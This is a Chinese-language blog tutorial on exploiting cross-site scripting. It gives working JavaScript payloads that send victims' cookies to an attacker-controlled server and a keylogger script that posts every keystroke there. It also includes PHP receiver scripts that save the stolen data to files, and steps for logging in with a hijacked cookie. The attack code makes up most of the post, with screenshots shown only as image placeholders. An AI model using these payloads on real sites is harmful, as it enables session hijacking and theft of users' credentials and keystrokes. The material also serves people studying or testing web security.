xss漏洞之——漏洞利用

1.获取cookie进行无密码登陆

原理
网页被植入网页被植入xss脚本,普通用户访问此网页时,会自动将用户本地的cookie缓存发送到指定远端服务器
利用
(1)首先登陆一个页面,抓包获取cookie
在这里插入图片描述
(2)复制此页面里任一选项的url,重启浏览器后直接访问此url,抓包修改cookie为上面获取的登陆成功后的cookie在这里插入图片描述
(3)页面登陆成功,无需密码
在这里插入图片描述

2.利用XSS漏洞获取管理员权限(获取cookie)

(1)在我们自己的远程服务器创建一个接收cookie的文件1.php,1.php接受cookie后,将cookie写入到1.txt保存
代码
<?php $file=fopen("1.txt","a"); if($_GET['cookie']){ $cookie=$_GET['cookie']; fputs($file,"$cookie\r\n"); } ?>
(2)构造url,使打开此url的用户发送本地cookie给远程服务器
(2.1)直接将代码拼接到url,将cookie值改为获取本地cookie,并执行
代码:

<script>document.location='http://192.168.0.106/xss/1.php?cookie='+document.cookie;</script>

效果:
打开此url的用户跳转到如下界面,并将本地cookie发送到远程服务器,写入远程服务器的1.txt中
(2.2)直接拼接url访问时会跳转页面,可将代码写入一个图片标签里在再拼接到url
代码

<script>document.body.innerHTML+="<img src='http://192.168.0.106/xss/1.php?cookie="+document.cookie+"'>";</script>

在这里插入图片描述

3.XSS键盘记录

(1)在我们自己的远程服务器创建一个接收用户按键记录的文件keylog.php,keylog.php接收键盘记录后,将键盘记录写入到keylog.txt保存
代码:

<?php
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Origin: 192.168.0.106");
header("Access-Control-Request-Methods:GET, POST, PUT, DELETE, OPTIONS");
header('Access-Control-Allow-Headers:x-requested-with,content-type,test-token,test-sessid');
$file=fopen("keylog.txt","a");
$_REQUEST['keylog'];
$key=$_REQUEST['keylog'];
fputs($file,$key);
?>

(2)构造url,使打开此url的用户发送所有的键盘记录给我们的远程服务器(通过ajax,隐蔽)
代码:

<script>document.onkeydown=function (ev) {var xhr=new XMLHttpRequest();xhr.open('POST','http://192.168.0.106/xss/keylog/keylog.php',true);xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');xhr.send('keylog='+String.fromCharCode(ev.keyCode));}</script>

效果:
在这里插入图片描述

发布了47 篇原创文章 · 获赞 36 · 访问量 4097

猜你喜欢

转载自blog.csdn.net/wsnbbz/article/details/104652141
今日推荐